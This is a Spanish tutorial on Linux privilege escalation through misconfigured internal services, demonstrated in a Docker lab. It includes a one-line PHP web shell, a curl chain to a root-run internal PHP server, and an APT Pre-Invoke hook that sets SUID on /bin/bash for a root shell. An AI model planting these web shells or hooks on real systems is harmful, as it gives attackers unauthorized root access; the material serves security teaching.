- Tags: escalation privilege
Explicación
Los servicios internos son componentes esenciales que operan en segundo plano dentro de un sistema operativo, encargándose de funciones críticas como la gestión de red, impresión, actualización de software y monitoreo del sistema, entre otros.
No obstante, si estos servicios no están configurados adecuadamente y se encuentran activos, pueden representar una brecha de seguridad significativa. Los atacantes podrían explotar estos servicios para obtener acceso no autorizado al sistema y llevar a cabo actividades malintencionadas.
Un ejemplo concreto sería un servicio de red mal configurado con permisos elevados. Si un atacante logra identificarlo y hallar una forma de aprovecharlo, podría utilizarlo para escalar privilegios y obtener acceso de administrador.
Ejemplos
Crearemos un contenedor de manera sencilla y rápida con los siguientes comandos
docker pull ubuntu:latest
docker start --rm -dit -p80:80 --name ubuntuServer ubuntu
docker exec -it ubuntuServer bash
Dentro del contenedor hacemos lo siguiente
apt update
apt install apache2 php nano
service apache2 start
Ejemplo 1
En la ruta /var/www/html
borraremos el index.php y crearemos un cmd.php para este ejemplo en el que podamos mediante un parámetro en la URL ejecutar comandos.
<?php
system($_GET['cmd'])
?>
Lo normal es que seamos un usuario no privilegiado a la hora de ejecutar el comando, en este caso whoami
.
Si nosotros realizamos un netstat -nat
en la URL no obtendremos información, pero si convertimos el STDERR en STDOUT tal que netstat -nat 2>%261
podremos, recordemos que %26
es el símbolo &
URLencode.
Esto significa que no está instalada la herramienta netstat
en el contenedor por lo tanto la instalaremos con apt install net-tools
. Una vez hecho lo anterior si vamos a la web y refrescamos veremos esto.
Ahora vamos a la terminal en donde tenemos nuestro contenedor ejecutado y en el directorio /tmp/
haremos un cp /var/www/html/cmd.php .
para traernos el cmd.php
al directorio actual /tmp/
. A continuación montaremos un servidor con php php -S 127.0.0.1:8000
, de esta forma al ejecutar el netstat -nat
en la URL podremos ver este servicio que corre internamente, ya que si con nmap
intentamos escanear el puerto 8000 (En donde se aloja el servicio) nos dirá que está cerrado o filtered.
También podríamos verlo con ps -faux
Imaginemos que esta web es de la víctima, si el servidor web tuviera instalado curl
(Que en nuestro caso lo instalaremos en el contenedor para el ejemplo apt install curl
podríamos hacer esto en la URL tal que así.
http://localhost/cmd.php?cmd=curl localhost:8000/cmd.php?cmd=whoami
Nosotros hacemos un curl
como el usuario www-data, pero al realizarle una petición al servicio web montado por el usuario root por el puerto 8000, podemos aprovecharnos del cmd.php que hay para ejecutar comandos por su contenido no sanitizado, por lo tanto el comando whoami
sería ejecutado como root.
Es decir que:
- El primer uso del
cmd.php?cmd=
es del cmd.php que se encuentra en/var/www/html
correspondiente al servicio web del usuario www-data - El segundo uso del
cmd.php?cmd
es del cmd.php que se encuentra en el directorio/tmp/
correspondiente al servicio web que montamos temporalmente con php, este fue ejecutado como usuario root.
Recordemos que siempre ejecutaremos comandos en el servicio como el usuario que corre el servicio como tal, por lo tanto pasamos de ejecutar el curl
como www-data a ejecutar un whoami
como root, porque abusamos de los servicios internos del sistema.
Nosotros podríamos obtener el acceso al sistema desde un principio pero lo obtendríamos como el usuario www-data (No privilegiado), de esta forma lo podríamos conseguir como usuario privilegiado (root)
Ejemplo 2
Vamos a dirigirnos al directorio /etc/systemd/system/
y ahí trataremos de crear un servicio que vamos a configurar de nuestro lado para que cada 30 segundos ejecute un apt update
, similar a una tarea cron pero en este caso como servicio.
nvim apt-update.service
[Unit]
Description=Update package list
[Service]
Type=oneshot
ExecStart=/usr/bin/apt update
Ahora crearemos otro archivo que se encargará de definir el tiempo de ejecución del apt-update.service
, esto lo haremos tal que así
nvim apt-update.timer
[Unit]
Description=Update package list every 30 seconds
[Timer]
OnUnitActiveSec=30s
Unit=apt-update.service
[Install]
WantedBy=timers.target
Una vez tenemos estos dos archivos podemos desplegarlos con systemctl daemon-reload
y luego haremos esto.
systemctl enable apt-update.timer
systemctl start apt-update.timer
systemctl enable apt-update.service
systemctl start apt-update.service
Con esto ya cada 30 segundos se ejecutará el apt update
en el sistema.
Si nosotros estuviéramos como un usuario no privilegiado, en mi caso c4sp y hiciéramos un systemctl list-timers
veríamos el apt-update.timer
.
Podemos ejecutar la herramienta pspy
que en mi caso la tengo en el directorio /opt
y ahí una vez se ejecute el apt update
lo veríamos.
Podemos ayudarnos de watch -n 1 systemctl list-timers
para ver en tiempo real cuanto falta en ejecutar el servicio.
Imaginemos que el directorio /etc/apt/apt.conf.d/
posee permisos de escritura para otros/others, y que nosotros como atacantes estamos realizando un reconocimiento activo cuando encontramos con el comando systemctl list-timers
que hay una tarea que ejecuta un apt update
cada 30 segundos, lo que podemos hacer es hacer uso de find / --name apt-update.service 2>/dev/null
para ver donde se encuentra.
De esta forma nosotros podríamos ver el contenido del archivo y confirmaríamos que es un apt update
que se está ejecutando.
Tenemos que tener en cuenta que cuando se aplica una actualización del sistema, en caso de que nosotros tengamos capacidad de escritura en ciertas rutas como lo es /etc/apt/apt.conf.d/
por ejemplo, podríamos definir ciertas políticas para indicar que tarea o que comando queremos que se ejecute previo a la actualización del sistema o al final, esto lo define un PRE-INVOKE y un POST-INVOKE, esto nos serviría para escalar privilegios en el sistema.
Crearemos un archivo en /etc/apt/apt.conf.d/
llamado 01privesc.
Si buscamos en Google apt update pre-invoke
encontraremos este recurso
Nosotros lo modificaremos tal que así APT::Update::Pre-Invoke {"chmod u+s /bin/bash"; };
y lo meteremos en el archivo 01privesc, de esta manera el servicio antes de ejecutar el apt update
, le dará permisos SUID a la bash, por lo tanto podremos hacer uso de bash -p
para volvernos root.